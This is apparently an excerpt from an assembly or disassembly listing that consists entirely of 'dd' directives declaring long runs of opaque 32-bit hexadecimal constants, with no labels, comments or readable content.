		dd 9401E391h, 2E15438Eh, 16F0600Bh, 0CF4C24F6h,	0AB6B0528h
		dd 0F300815Ah, 0F9142170h, 0B418923Dh, 0B01D2003h, 88102C6Ah
		dd 0C0200600h, 0BF7FC11Ah, 7C726F00h, 42048125h, 0EC16130Ch
		dd 10690377h, 91BC3EBEh, 80E10D10h, 42517591h, 2CB38B17h
		dd 8B47E18h, 0CC00E729h, 0A1B489FCh, 0A36728D7h, 0D6630B9Fh
		dd 0BB01C52Bh, 29C29A93h, 0D99B07DCh, 6420A980h, 529771h
		dd 1332C1C4h, 9B99267Dh, 51062207h, 8BB72909h, 62F23F40h
		dd 259C7ED4h, 1018B7C8h, 84A00C99h, 3D145C9Fh, 0F801218h
		dd 86322EF5h, 0C1E464h,	0A6BAAA69h, 4062D386h, 3C12548h
		dd 13935A9Bh, 30DD8883h, 475B1618h, 387408EEh, 10E03F83h
		dd 634900E2h, 0BA6D7525h, 420F802Fh, 0BF6AA34h,	0C2A418A0h
		dd 0D9FAD1h, 14798C3Dh,	759BC17Bh, 9F2D6F00h, 0B0683056h
		dd 0AA190011h, 0D4B342D2h, 0DE022A2h, 3869CB60h, 310BAFh
		dd 1FD9972h, 6057C0B3h,	9BB15800h, 64E3FE25h, 2426983Eh
		dd 5347581h, 81A88FF7h,	0D039F930h, 1E0963B8h, 8085253Fh
		dd 0EA3AF554h, 0E3112509h, 709AC011h, 5F3FB4B7h, 3431CEF8h
		dd 5881AC98h, 9C2749F9h, 6FE180CCh, 0D66D1E76h,	0CB7F0090h
		dd 9B6367C2h, 0C7027A8Dh, 0EE179547h, 8FE0802Ah, 0FEAD5B2h
		dd 11C87F5Fh, 30F94FE1h, 2EA82C0Bh, 6B02C082h, 4687848Ah
		dd 0B6350780h, 0A04CA953h, 0C5C877B4h, 8DE14D00h, 0C287C93Fh
		dd 80A9C019h, 0DF1888A7h, 845A6100h, 0CC99E127h, 8B8201DEh
		dd 105F707Ch, 65981C8h,	771FF736h, 9621D4h, 406E5E14h
		dd 0A0103F94h, 8F4F6700h, 180229A4h, 917168h, 0E44C81C4h
		dd 31C29875h, 0D98E79DFh, 6E12E045h, 0F4F4CACh,	0AD709D18h
		dd 0D8A0EAE9h, 2EE69655h, 0A5167600h, 1BF2E180h, 94BD122Fh
		dd 0B2600508h, 0F678C16Eh, 63E4209Ch, 3E18C67Ch, 91208F66h
		dd 0E828AB8Dh, 901B419Ch, 0FC9A0037h, 5E1C2128h, 0DB2EFDD0h
		dd 7F4088E8h, 0F820E1Eh, 0FD3162Ch, 88225600h, 9124E001h
		dd 3981A0BEh, 6F701984h, 3AD809C9h, 547F4D18h, 85B5BB1Ch
		dd 8CF377E7h, 7E00A540h, 51DC2CD8h, 0C0D5E86Ah,	9AF88419h
		dd 0B200A580h, 5FFD7435h, 73130A02h, 19881260h,	35CC8805h
		dd 39B01101h, 27B72D07h, 285BA0C4h, 0E5B4F7EFh,	909EE820h
		dd 4CF27F10h, 0E2016089h, 0B468A50Dh, 419FE4E8h, 0F11C4412h
		dd 71752804h, 2CED088Ch, 7207498h, 0E7EF0394h, 0A2A0BE64h
		dd 0D673D5F0h, 0F78AE0Fh, 0E63E616Ah, 0C8E03857h, 0F4804843h
		dd 72DE53C0h, 2F0032CEh, 5D52C920h, 1FAC6593h, 274215C0h
		dd 0F55E1010h, 4D4AB800h, 3A78FE22h, 91EA00BBh,	4E419E85h
		dd 0B1273DCh, 0A05C369Ch, 0FD090647h, 90ABE270h, 7F39009Bh
		dd 0EC579384h, 79F4FB23h, 989C52h, 2B2DAA32h, 50EB45F7h
		dd 4A29097h, 7B65AE13h,	0A7B4830Ah, 5A854DF0h, 42697C02h
		dd 783D176Ah, 6EE00040h, 2699BBE7h, 50029343h, 0DF9F5A82h
		dd 0DDF0407Ch, 0C800183h, 0DA69083Eh, 22EC48EAh, 7F0FF07Ch
		dd 71B9BA6h, 4B701A48h,	934C357h, 0ACF1F0Fh, 28C03882h
		dd 7256C0A0h, 0F2042616h, 8C31E786h, 0EDE512C0h, 6E09051Dh
		dd 888246h, 62FFEEB8h, 7091EA7Bh, 3A1C4800h, 0E35E7D7h
		dd 7679AB2Eh, 993B59C1h, 0A088208Ch, 8B012096h,	0D9EBF7FBh
		dd 0C7DB8F00h, 0A6B12702h, 0C107DF3Ch, 0E8817574h, 0C1ECAF98h
		dd 405040BEh, 0AA131AC7h, 0DB001058h, 0AC9A57C9h, 6DF002EAh
		dd 0C39DA620h, 0C50058C4h, 0C4C072Dh, 642463h, 39D19F53h
		dd 1CC4AE67h, 0D3BEDE00h, 9AEA453Fh, 94E6EE3Bh,	64E78B9Ch
		dd 7B405C90h, 0EA0068B6h, 51FD2EA5h, 3E731482h,	0A91588D1h
		dd 8700F8BFh, 57EA5A81h, 0E8B9C0F1h, 0EC6F1900h, 12EFBE78h
		dd 2294A456h, 1D607B40h, 9B3FE9BFh, 0E4820287h,	71D429FCh
		dd 0C3471EECh, 0A8072130h, 0A3CB04C0h, 0C88BBE06h, 49BC3Fh
		dd 0A1BD4052h, 0B2956E50h, 0C2888F16h, 0B6778D0h, 8E5E3FF4h
		dd 11303A80h, 4FB2AA54h, 9D55710Bh, 0C82B0Ch, 0F7581638h
		dd 724700A1h, 0AC183F66h, 0C11E8645h, 2CA6B240h, 65508100h
		dd 9573DF8h, 3CBE295Bh,	0C8179464h, 0A040E94Bh,	6C73917Fh
		dd 8C6B3050h, 0F5F23768h, 0D3223224h, 0A74EE05h, 76A18C3h
		dd 6C39E841h, 0EF953047h, 0CCA18801h, 6530403Eh, 4FE80A90h
		dd 0C40914E6h, 80D67688h, 505E8CC4h, 7C4B110h, 60F47CDEh
		dd 84E6F02h, 1EB8DB05h,	0B700125Ch, 3D07327Bh, 0FA14F011h
		dd 4B2F2EBh, 0D45981C5h, 944080A9h, 5099AFA6h, 9FEF5780h
		dd 7A6218h, 631E1773h, 1DF114EBh, 0F4A65512h, 0E5A38830h
		dd 89C600E7h, 238C5A5Ch, 990E213Bh, 29EECE37h, 503CC80Fh
		dd 38C403BEh, 0B4568BB3h, 0F17942A0h, 27E00D07h, 14174195h
		dd 4A917841h, 30851010h, 0E9F12E0Eh, 2161409Ch,	6AD35h
		dd 0E5767168h, 0F76C287Ah, 2491D760h, 4F8C02h, 0A6CD9838h
		dd 0FBAD8DCCh, 4AF2A700h, 0DEBB3EA5h, 53EF01FEh, 0DD6B4EA2h
		dd 7C3292h, 7FDC415h, 3FF2D343h, 3F005688h, 2E369B0h, 72161E4Eh
		dd 0D8D09C3Bh, 34F7DCh,	0D172E6Dh, 3F1EFACh, 72D44D00h
		dd 8B27597Bh, 4098B4BDh, 90431295h, 0E2EFBC28h,	9EEA600h
		dd 3A9AF9F5h, 0E4E83061h, 8E9D7FC9h, 75040E01h,	7E371ABBh
		dd 3ADBD8FBh, 14D751BEh, 0E9E7E000h, 4241389Ah,	0B2394884h
		dd 1E78B325h, 5A169D47h, 48A8E4CCh, 1A008486h, 60AE8143h
		dd 0C70966E0h, 28277EAh, 6B14FF94h, 37408C9Ch, 0A2335A4Ah
		dd 6A23F503h, 996C227h,	12A8F778h, 0B266F881h, 5F67E0ACh
		dd 91C03400h, 881A7A4Ch, 13091C3h, 416FC722h, 0A6CE05Fh
		dd 0ADE1AE00h, 91537E44h, 0F6569850h, 0F79D19F8h, 0DC3D58A6h
		dd 8512A938h, 0F4C8392Bh, 9770FCh, 506028F5h, 4DEA353Bh
		dd 5F6110F9h, 3D8B90Dh,	7A7586C1h, 9654A7C0h, 0AA4C7000h
		dd 803FB9C9h, 864326F4h, 41300230h, 0CC526C29h,	3FF74C00h
		dd 26B2A809h
		dd 0B117488h, 0CB3977Eh, 0D33D6064h, 0A9A5808Ah, 95992001h
		dd 409C5F33h, 556A658h,	250ECA69h, 9D5A994h, 0AD3CC8C0h
		dd 32100D4h, 7C61491Dh,	502C7B67h, 0A7023E8Ah, 0C263257Dh
		dd 70F1C20Ah, 20714FACh, 0E035C634h, 11C4BB00h,	0B52CDCE1h
		dd 6A1A134Fh, 0EE18025Dh, 5480E8AAh, 0BFE3729Ah, 9D00337Ch
		dd 0A9EF7F06h, 5DA42D6h, 0C8A0979Ch, 41BCF540h,	604C7500h
		dd 914883E0h, 9B57807Ch, 4C85DDCBh, 5003760h, 0B9C250E0h
		dd 620191C7h, 1319FAF0h, 70E92399h, 0C080A468h,	0F3C15A9Ch
		dd 87F2A818h, 174B70h, 32EC5FE7h, 7DC7BB06h, 48C1E125h
		dd 9FCA58h, 11BD08A0h, 4F9B7965h, 91D5BE2h, 2F19EA20h
		dd 1C7C0A29h, 3B82E380h, 24077A9Dh, 533AA693h, 0A0096183h
		dd 7CEA51E5h, 855403C3h, 247C1F73h, 7A2C8CDCh, 0FE624200h
		dd 0A6022EAFh, 0E610229Ah, 98EE401h, 0D02CBA3Ch, 3F84B07Ch
		dd 6EE0C040h, 3903EDF6h, 68298232h, 5A210BDBh, 0A402AE97h
		dd 502166B4h, 0D829C385h, 43E15107h, 9844238Ah,	68A0AACAh
		dd 0C1C9DC94h, 0D97FE500h, 0E8653C38h, 0EDE61DB6h, 5B02813Dh
		dd 309F82D4h, 1E14A110h, 234A9CEh, 430A3595h, 0B4F8E01Fh
		dd 0FE1C008Eh, 0CE22A1BBh, 29C51440h, 68E27029h, 0B03FB221h
		dd 7E3589D7h, 2133007Ch, 6456DBA3h, 7D078911h, 9F3974F4h
		dd 909C7302h, 7752A4h, 0D57CAC12h, 82B55BAEh, 84874C00h
		dd 16CFDDB9h, 71CA600Dh, 0CE105EBEh, 2E49F400h,	79C6C746h
		dd 0E0E70016h, 0A3BBE638h, 0AA626B4Bh, 664412E0h, 0CFCD00ACh
		dd 21FF5DE6h, 0AD007964h, 9CCAC725h, 1BCF93Bh, 397CD05Fh
		dd 3DC287FBh, 0AC281734h, 0AFAD1901h, 51FCF1CDh, 560C00F3h
		dd 9027E207h, 0E150105Fh, 3A039750h, 2FE4C396h,	5F09B04Dh
		dd 8C791F85h, 81B74B29h, 467B7383h, 0D4526FC2h,	9DB4143Eh
		dd 55857566h, 4AC4C897h, 0A462B823h, 6895940h, 1F7C807Ch
		dd 0C4046545h, 35501843h, 85E205EDh, 0C16D4B41h, 0FC70F4D0h
		dd 0E559BE1Ah, 3BE2830Ch, 0FF3A0A8h, 1A7F25AEh,	0C04A9C87h
		dd 517DA067h, 0B17A9AF0h, 0E59B30C7h, 0D1B6C822h, 222B09FCh
		dd 8800C864h, 9E57CE1Ch, 2E0A36E6h, 11D0A990h, 0DB4702BBh
		dd 4075D11Ch, 161743ECh, 90BFC296h, 814087F8h, 94A66500h
		dd 59FE326Eh, 6ADE213h,	0C8BBEC93h, 6800C1E6h, 6D87E2A6h
		dd 79D1ACA4h, 1F4E05FCh, 88913736h, 593F8FD8h, 8041BF16h
		dd 76AA7C24h, 2F326h, 3E09B3DFh, 8F3A7F5Ch, 0A048EA27h
		dd 0CB564228h, 22C8B833h, 0FCB0DB63h, 5A81ED02h, 62B3F57Ch
		dd 0F2841884h, 0DFA90924h, 4000390Ch, 186616FEh, 50980A90h
		dd 0AACE2A12h, 0FC0888D5h, 376B81E4h, 80F410F8h, 2C28B11h
		dd 0B194A586h, 5D0E0010h, 692BE127h, 71B41F00h,	0FF3A1BFAh
		dd 0EC53FA81h, 0F6520B3Dh, 0F8008E0Ch, 37DF79B0h, 2C6B292Fh
		dd 0A3F88F8h, 5F545728h, 73E902E8h, 9052C03Bh, 4102EE7Ch
		dd 0EA28B284h, 96885A4Eh, 7A4514h, 67B886C0h, 3395065h
		dd 0E0D614BBh, 1388008Ch, 3A3273E1h, 92F32794h,	0B8B5B8A0h
		dd 13094D9Ah, 87F75C6Bh, 1700D4D7h, 1F2E0745h, 0E657516Ch
		dd 0F4F16068h, 0F2000F53h, 2A68BA3h, 7D18E2Ch, 6CBA7B97h
		dd 1E77411Dh, 0B098209Ah, 0BE7E9688h, 928B4E14h, 15E09600h
		dd 3BE8830Bh, 82145777h, 22C813B8h, 58498BCh, 67295598h
		dd 8C9D6h, 78412224h, 1CA4CF00h, 69838D2h, 6D361F8Fh, 0D0C2123Eh
		dd 10AEBCCCh, 3A467607h, 7591DBB9h, 202AB833h, 0A525A834h
		dd 482B0439h, 1810003Dh, 1A97AA1Eh, 0F7DE00AEh,	3DF44C87h
		dd 90B038F3h, 14C75600h, 8AD7213Fh, 0C070B4C4h,	0E963659Ah
		dd 59F5C807h, 8F866E9Dh, 0F0210B7Ah, 10C44548h,	802CA73Dh
		dd 0D5366191h, 381CAFh,	9E532DF2h, 0E49967D7h, 0B8101826h
		dd 0AC0FE940h, 0B90C0016h, 6AF9DE1Dh, 0E500743Bh, 30028A35h
		dd 1667C6F3h, 161A8091h, 4BA888CDh, 3E967900h, 538A3918h
		dd 3344023Dh, 943F60A1h, 50F614E6h, 0B3B4F901h,	556DC086h
		dd 36EE00DFh, 5C7DC1A3h, 84A097E5h, 6F73FB52h, 4FB76B01h
		dd 28F996F5h, 0CF7C313Ah, 3AE84CB4h, 517F4D1Dh,	0EC280B1Ch
		dd 266AE444h, 4084F722h, 0F4CB658Dh, 0B41F47E2h, 7C6C9685h
		dd 0C853F700h, 7E039806h, 28FA2414h, 161A07A0h,	11FC027Dh
		dd 4F8AEC98h, 0D745CB1Ch, 33EBAh, 0BE474E9Ch, 286B37h
		dd 357A3E7Bh, 8C7CB68Eh, 99F53F00h, 74721C9Ah, 435096C1h
		dd 2DD9BDD8h, 0F46020C6h, 80A6C43Dh, 2577CEEh, 28A1680Ch
		dd 4CAD3D24h, 0CC80AC9Ch, 0C7CFCE66h, 14F178B8h, 89D528B0h
		dd 5A6C62C1h, 0CF942C20h, 2FD524A7h, 0FDF200F9h, 0C7433B99h
		dd 1B9A6801h, 813D7188h, 27D14891h, 88443Ah, 0D0B2A96Dh
		dd 79D51AB8h, 28133390h, 30169EBCh, 39F900EAh, 417CF9A9h
		dd 14F8B226h, 0ADEEB05h, 0FB04B81Dh, 74C89134h,	0A61400BFh
		dd 0E2AAA9A2h, 0E34C94BBh, 63A882F8h, 74BC781Ah, 983B628Eh
		dd 0CF23E06Dh, 5F4FA4B6h, 3F47AFE3h, 0C2B8C2DFh, 7491D4ABh
		dd 0E962F82Ch, 880EACFAh, 0A3A80BA6h, 996B49F5h, 84709D6Dh
		dd 50CF00E9h, 0DC161742h, 6E4AC40Fh, 38067080h,	5F48901Dh
		dd 8E6407FCh, 6311C062h, 0B03DE59Ch, 0FA52035Ch, 803D0ACBh
		dd 1F80944h, 99BE3B98h,	606B3829h, 0FC28A0B8h, 0EF3F8CC4h
		dd 0BCC326E2h, 1E7A9A40h, 0A9123F0Dh, 17F4C80h,	8CF33A36h
		dd 0C8666CC0h, 9EFC67h,	191F3B18h, 17588132h, 9C01632Ch
		dd 0C1D23D1Eh, 0FEB22090h, 0D0A103D9h, 2C34D488h, 649BB803h
		dd 0F05FEAF8h, 90D2103Fh, 0F41D0FC1h, 4D8B87AEh, 0A77024E4h
		dd 3B7EDCA0h, 0E0440509h, 1F0D1FBh, 5042DB87h, 0C303A2Dh
		dd 493C305Ch, 0B4AACE1h, 5C00EF50h, 0A26866BEh,	0A0EAEB2Dh
		dd 0FDCB48FCh, 0C27900BFh, 1B58E533h, 862EBA4Ah, 5D00043Dh
		dd 8ED6B41Dh, 0B1FB248Bh, 0AFF80034h, 8AB77281h, 0AC30F17h
		dd 81094C82h, 0FE7CC2B0h, 0A980883Ch, 1ECEF697h, 0D8000670h
		dd 33EA9B22h, 511716E6h, 0DC6083ABh, 564C0041h,	1EE45ABDh
		dd 60279ACh, 0F997DC99h, 1D8C623h, 0B88189B5h, 6230BBF5h
		dd 0C2980A60h, 0FB808CBDh, 78035FD4h, 450404B6h, 0C03CC7E5h
		dd 4C8218DFh, 87C38812h, 82813809h, 40BA1475h, 1DAE0959h
		dd 0A86EBD1Ch, 522945C4h, 5A20DB7Ch, 0B6FB2FF2h, 0E2804E60h
		dd 8BFD0FB4h, 44071F72h, 36C04975h, 0BE352A40h,	61EA1980h
		dd 28643122h, 726B80E0h, 3ACAB1Eh, 7FC1968Fh, 0AF80459Ah
		dd 71257DF8h, 1D5040A0h, 209085Fh, 0F080F40Dh, 3ECF9D5Dh
		dd 6C90976Eh, 6000B74h,	4DFEFF7Ch, 7A121370h, 95291317h
		dd 46ACB494h, 87E18900h, 4C9AF815h, 5B5FCA7h, 306F1731h
		dd 0ABE40EA0h, 1844350Bh, 7D29CB00h, 0E7732D9Fh, 22189890h
		dd 6500E1CAh, 0A0D51CA7h, 4A296B30h, 7A48861h, 4C4EE7E0h
		dd 0EC882052h, 0DCF200AEh, 0E5A4BADDh, 9B381E8Ch, 67A782B2h
		dd 56F78F88h, 6CE6802Ch, 9CFA859Fh, 0C21C9307h,	5514FCCAh
		dd 1AAB4CCh, 0E2CBDC22h, 0F9B81B2Fh, 680EF8F7h,	888C9E00h
		dd 0B93EAB43h, 868B0948h, 284A3BC8h, 0BE1F0854h, 8C7A68EAh
		dd 15D7A017h, 194AC88h,	412FB21h, 7C8262BBh, 7E108074h
		dd 0F22CA013h, 7A349A20h, 5FE70067h, 0A602847Fh, 10953505h
		dd 3CFD658h, 26322DDFh,	9A0ECF4h, 3958AABEh, 2164C3D8h
		dd 40D397ABh
		dd 0B80393D9h, 3F54C05h, 0C6129AC0h, 79904759h,	0CB4C3A0h
		dd 7C98C480h, 0EE9A755Dh, 95147546h, 0A706810h,	0A147D900h
		dd 0DCFAB4EEh, 73530E55h, 1209682Eh, 9B0E8D82h,	92CE21C0h
		dd 98D55225h, 0BC906380h, 12D440A4h, 46149271h,	0BE3DC7Ch
		dd 606189D8h, 223DE64h,	26BC4F44h, 5436C3h, 0B59A9040h
		dd 86C00D2h, 1E4ADBAEh,	902C6A2h, 0FC59EF99h, 0F8C662h
		dd 9370DCDDh, 0FE9A320Fh, 0FDC57F1Eh, 0BC6058Eh, 41EF0504h
		dd 4C7D1C80h, 0EBAAA0D9h, 7B9C0972h, 9C713DC8h,	27B65CAFh
		dd 12A31410h, 0DCC86400h, 5BC9F6Eh, 54F75001h, 1B1000A1h
		dd 267B4573h, 8100E45Ch, 580FCCD6h, 2CA70A2Eh, 40A89205h
		dd 0ADFD0C19h, 1309A658h, 38071A81h, 826EC3F2h,	646D14F0h
		dd 0A93A16D4h, 3F4C00D6h, 3DCEFFD1h, 81AC78F9h,	6914E5A6h
		dd 86143C33h, 0E1C0E44Bh, 0E780CB71h, 0B9085E0Fh, 9BB3006Ah
		dd 24428877h, 8C42C3Ch,	0C192CA6Dh, 0CD1EFCD0h,	0D9E5032Bh
		dd 98B1A5DCh, 43CE35E0h, 8D17BC90h, 1EBC9h, 3B06F713h
		dd 138CB8D0h, 8894BE0Ah, 68307268h, 51EBE043h, 58BB7865h
		dd 0E6013481h, 0B2A76EE9h, 30206AD6h, 936714h, 9970B366h
		dd 3BD5CE0Ah, 8F749F3Dh, 0A08E58ADh, 605C820Eh,	0C2952DD8h
		dd 4881C820h, 1000252h,	70737D4Fh, 1C6D6641h, 0CE46320Bh
		dd 7E40740Eh, 95C517B4h, 3A75AF00h, 0D40884DAh,	16DDF840h
		dd 7810238h, 3B7977B0h,	0E75B1C10h, 0B240650Fh,	8A3200AEh
		dd 5C398498h, 71009F50h, 396E815h, 234B4468h, 2EA190D0h
		dd 0F450A0C0h, 5D3700ABh, 29BCD9A7h, 47033CA2h,	3335E286h
		dd 0A8A39BC2h, 7589253h, 508C26A1h, 54206282h, 20E41061h
		dd 0D801A34Ch, 0A9436646h, 316B8B7Dh, 7027ACB8h, 894BD504h
		dd 0C812D8C0h, 8765808h, 31ECFCC0h, 6E039E1Bh, 4F419A02h
		dd 0B2CED108h, 3B82D428h, 90E23374h, 623D54C6h,	0F72601B8h
		dd 6966DE5Bh, 8E00DC73h, 0A680069Fh, 0C0635CBh,	0A9BB598Dh
		dd 9EB01E51h, 1A08012h,	9587B29Dh, 4E834499h, 0A8D4224Fh
		dd 249AB332h, 89884961h, 0C0849718h, 6450491Fh,	83AC0084h
		dd 0E4CE2DC3h, 7700BC86h, 640317DEh, 0CA0D69Eh,	9D4BC691h
		dd 5A8AB040h, 0AAFAB0h,	68EDB241h, 71ECE7A7h, 0B0902D28h
		dd 0DA67B71Ch, 0D98E9A89h, 2640068h, 0AF7DB3D3h, 0D306371h
		dd 0AB9E89E1h, 515817E7h, 40F100BEh, 71C67442h,	0F4280900h
		dd 75D5A93Dh, 1FC8A0B6h, 8C494CAEh, 87592CC7h, 2DD0F0B8h
		dd 0C60058FEh, 4C878EADh, 288C3E9h, 44AEB5Ah, 9C7CBB4Bh
		dd 18CA3740h, 71420323h, 7B073F82h, 85875FC9h, 0A3679AD8h
		dd 9165CD80h, 22F81214h, 32F40C12h, 0C8E60E52h,	0D07E4B24h
		dd 16954C0Ch, 89C91EE8h, 62294BE3h, 0B2099C68h,	10A0FA27h
		dd 35D06E0h, 0AD424BAFh, 0E99888AEh, 647A9499h,	0C485DE4Ah
		dd 191DF080h, 131E0082h, 87F5B685h, 48987D04h, 61D0EA03h
		dd 0B794F02h, 68D30810h, 7C8F2000h, 330B38FBh, 1EAA034h
		dd 2FB4FFE4h, 0AE85A280h, 7C79FEF5h, 0A2B738C3h, 7D4000F2h
		dd 8655C4B2h, 5676BA27h, 0F45BD900h, 9F65E5E0h,	8A284015h
		dd 9D70F572h, 60509930h, 86548Fh, 0CCE3B0FDh, 0B85B24EFh
		dd 0D5631D07h, 0C890F046h, 6772CE7h, 587CB9CFh,	0E1017070h
		dd 0F592B5C9h, 918478FBh, 0E2834Fh, 60F77B2Ah, 3FA7F44h
		dd 0CAEDD1FDh, 21098050h, 80ABD0D4h, 6C2BB7D5h,	94470249h
		dd 0FBF32CF1h, 9DD59498h, 3091BE38h, 0E762E9DBh, 4490192Fh
		dd 10D91802h, 0C0DEF0F4h, 671AE839h, 13009B62h,	753F1F3h
		dd 0C709E32Ah, 81D2AF21h, 3A4E390Dh, 600320E0h,	0FB7B49DEh
		dd 45180465h, 0FFD98ED8h, 72D50129h, 0A679FC3Bh, 0EB70CC5Fh
		dd 1B1E7700h, 8A9EC8ADh, 0F99118A8h, 305849DFh,	93C4AC02h
		dd 0F768905h, 5398FA80h, 2F7C47CDh, 8091866Fh, 0EDCC6295h
		dd 0AA004FDh, 455B7CB7h, 0F187B6E1h, 7B5D05C1h,	77173187h
		dd 0ABCC0029h, 0FA0003F8h, 30163A9Fh, 0A1155A27h, 0FBD9D3h
		dd 0E3C78561h, 0DA3DFFAh, 98223207h, 34D0C52Fh,	70C88AF3h
		dd 53D73A1Dh, 7903F918h, 0C000AB55h, 2A91FB41h,	2B2C38h
		dd 30A9EDE4h, 3F0F31Dh,	851561C0h, 4418D8h, 0EAACAEFCh
		dd 0E92FBAD2h, 0B334CF0Eh, 2C402E8h, 0B978886Fh, 73DC8901h
		dd 0E09C483Fh, 0EA9CB5h, 0FD69868Ah, 7C0952A2h,	10D81FCAh
		dd 0BCDB30h, 1AFEAD7Bh,	89D10181h, 0A18DBB1Ch, 871EF500h
		dd 67141C2h, 0E3291220h, 0CC017106h, 95CFE465h,	10F4FD66h
		dd 79FB30ADh, 0DA9F8AE9h, 0CBFFEC00h, 93922F7Eh, 20B14C7Ah
		dd 0ED633700h, 2861169Ah, 811C683Eh, 0C3FD58F9h, 1FC9E642h
		dd 2076CC42h, 77937A27h, 920043F0h, 70EEA50Fh, 24098D87h
		dd 1248534Dh, 50542785h, 0EFD87FBBh, 6F0011D6h,	707B1978h
		dd 6E4F0117h, 8751C303h, 5E8CFBBh, 0EE01486Dh, 5B22F3A7h
		dd 79806C50h, 0C63995D0h, 32009284h, 0AD4D56DBh, 9E0C7C2h
		dd 747CBF79h, 50B32810h, 37396D60h, 5A9127h, 62452638h
		dd 5CC53C48h, 3F68401h,	5FB8917h, 0B8312A10h, 5EF95600h
		dd 0EA6B8424h, 0A85C0A42h, 1D8C1DE8h, 0D801063Fh, 1F03D1F2h
		dd 261C18D1h, 0C0499B0Eh, 28DBA5AFh, 4942E17h, 0E32856AAh
		dd 0F4B4888Dh, 2CCAE200h, 97C7EC52h, 0DB26000Eh, 77EE1535h
		dd 4403E13Eh, 597CA98Bh, 3899446Eh, 1D0F005Eh, 0D42F92BBh
		dd 23EE1FC7h, 0EFD92601h, 0B1AC258h, 7F7A89C0h,	0C8E7E612h
		dd 2807E48h, 2B63B819h,	18391386h, 0E9D401B3h, 10F6914Eh
		dd 30058E7Dh, 17117888h, 0A7186266h, 0F621F3A2h, 0B8160086h
		dd 4263D151h, 0A97E9399h, 0F9F70D0Eh, 0B0687914h, 477E6F8h
		dd 88B46E3Fh, 0C7F087A4h, 69FBF0B7h, 5F068731h,	48ACFC91h
		dd 3F4C00A8h, 0A102AD70h, 81C37750h, 0F8F6DA36h, 0EAEA2C6h
		dd 89012FA0h, 5A83BF03h, 99D84031h, 0D822FEF4h,	0E82AFF00h
		dd 42CFCCCDh, 31272C07h, 9F21C761h, 6431692Fh, 0C5408826h
		dd 54E34825h, 0D8E40F80h, 837064AAh, 0A2DD670Ch, 9531CFh
		dd 0BDA02005h, 58764FF0h, 3091CA3Dh, 50A521E2h,	0F34E0C17h
		dd 91510AFFh, 69B00152h, 651498E0h, 3A053CD1h, 3DA36607h
		dd 420990ACh, 3059AD4h,	0A9291DCBh, 11D28830h, 9BB203F3h
		dd 0C7919A2Bh, 0AE1AB5F8h, 0F402FB2Ah, 0D54F0A00h, 1358774Ah
		dd 0D448003Dh, 6CF156Dh, 0AD0C8A7Ch, 91F1A2E8h,	0B39800EFh
		dd 9CC9C8BBh, 702E2327h, 8000B745h, 0CC175EA7h,	5AD40036h
		dd 2585C7Ah, 18983FB6h,	0B40CC000h, 2373E668h, 418E1D03h
		dd 4038A47Fh, 0FBCB6BF1h, 8C110760h, 0BE3F6F5h,	43142574h
		dd 0B4FD2280h, 1FE1870h, 792B0512h, 0D8493C31h,	0B053B3C0h
		dd 32F20494h, 0C9587F42h, 2C23E0h, 2090816Bh, 0C9452D3h
		dd 0DCA55A6Ah, 4A071BE1h, 2FD104ADh, 616BF6h, 7FD806B0h
		dd 75A588D4h, 0C8009D77h, 0E0D1B45Ch, 3851B0Dh,	36A38749h
		dd 83CC4303h, 0F8B1C1B9h, 4B9EF05Bh, 0ED902DE2h, 1C20F90Eh
		dd 0FD4EE060h, 5FCD3B7h, 855B1803h, 0B1F786BEh,	0A1C24700h
		dd 442016E7h, 0DD5063Ah, 0E0FF0B4Ch, 0B98D3200h, 0E8685033h
		dd 0C164047Ch, 8DDBFDACh, 0E721D270h, 30E9BFD2h, 0E9FAC07Eh
		dd 3F01B7FAh, 897C91A2h, 40304422h, 2CC507E3h, 80B4875Ah
		dd 0B703B6D9h, 0B485052Ch, 7C2B684Ch, 0A1C70542h, 822835B9h
		dd 7C2166DCh, 7996615Fh
		dd 0E3820D9h, 9B0379EEh, 63941BF8h, 5838D664h, 7A223C19h
		dd 0BD9B5Ch, 4C37C36Dh,	3175A148h, 0B828447Fh, 87D8702Dh
		dd 74D82B13h, 0E0DF904Eh, 0DEC1339Eh, 543B00E0h, 2A8FF9D3h
		dd 9D017449h, 0D9467F79h, 0A022844Fh, 0F8471500h, 3AABDB37h
		dd 1B673503h, 27DB638h,	0E3F9068h, 88C6B585h, 6B18E500h
		dd 41051298h, 0A28F00B6h, 0E7C5F9FAh, 6FF6141Dh, 0F5807555h
		dd 0FA00D2EEh, 79EDB80h, 462416AAh, 0E0AEA7BEh,	0F24F9B72h
		dd 4000C8E6h, 356E6462h, 0F9C9EAA3h, 7900DC22h,	0BE024DD4h
		dd 0E8041AD5h, 0CACF6117h, 89268C0h, 52E300EAh,	86E0B288h
		dd 2304D420h, 0F84CCAF6h, 0E77888h, 5D3D9599h, 5E2F144Fh
		dd 742D5B00h, 3CCDBAAEh, 0FAEA07A8h, 0C42B7EB0h, 3298C02Fh
		dd 0B828C828h, 8452BC95h, 0A42417FCh, 0D8F8E804h, 0AC82014Bh
		dd 18419588h, 0E790D48Ah, 612CD500h, 0A02A3448h, 423301B8h
		dd 0FBB913A9h, 94998106h, 0CAE3EF87h, 1C484920h, 2C3CA69Ah
		dd 95C43C24h, 0C7800C91h, 4FBCC611h, 0A0A99063h, 7264C404h
		dd 807F5CBAh, 0F082547Dh, 0A27703F3h, 0DA497085h, 814067E9h
		dd 377693E9h, 0C3CA42C8h, 0E566B89Fh, 0D15D697Ch, 0C9117885h
		dd 0CBB8005Ch, 6206915Bh, 0DDA559C0h, 0CC8A0F29h, 2D6FD2FDh
		dd 53A41C20h, 6200EF14h, 0CD6C1A38h, 28A85BDh, 1D39F902h
		dd 5844E330h, 4A9C0E00h, 0CFE7EEB1h, 0B3AF004Ch, 88C176D7h
		dd 9100D83Fh, 0A2732B8Fh, 2C656717h, 4FA4A58Ah,	2E2A4F80h
		dd 0F007864h, 0C84D16CBh, 1392803Eh, 303D21F0h,	755F6C70h
		dd 0E2DC2000h, 7C2709C9h, 0E987E576h, 11F12492h, 2DA2B857h
		dd 83CA0018h, 0A6F35666h, 5B6D0742h, 42CAE34h, 67E488D8h
		dd 0C5D37003h, 0AF2A6C12h, 927B7480h, 420A2410h, 0A9960504h
		dd 0C1D09393h, 6EC0FAA3h, 3509CA06h, 2CBE85Bh, 0AB7A83A3h
		dd 0B39008B4h, 211693Dh, 0C14E8A5Ch, 4CFCDB18h,	0B9F160F3h
		dd 0E7A5BA71h, 0B43429C0h, 7D0509A4h, 0F0954BB3h, 452C8225h
		dd 7A40ECD8h, 5D5DE1Ah,	0A84635B1h, 0E8A4884Fh,	5F92B900h
		dd 2CEB5C0Dh, 787C1CFFh, 6177D924h, 8CDC30E1h, 52297E0Ch
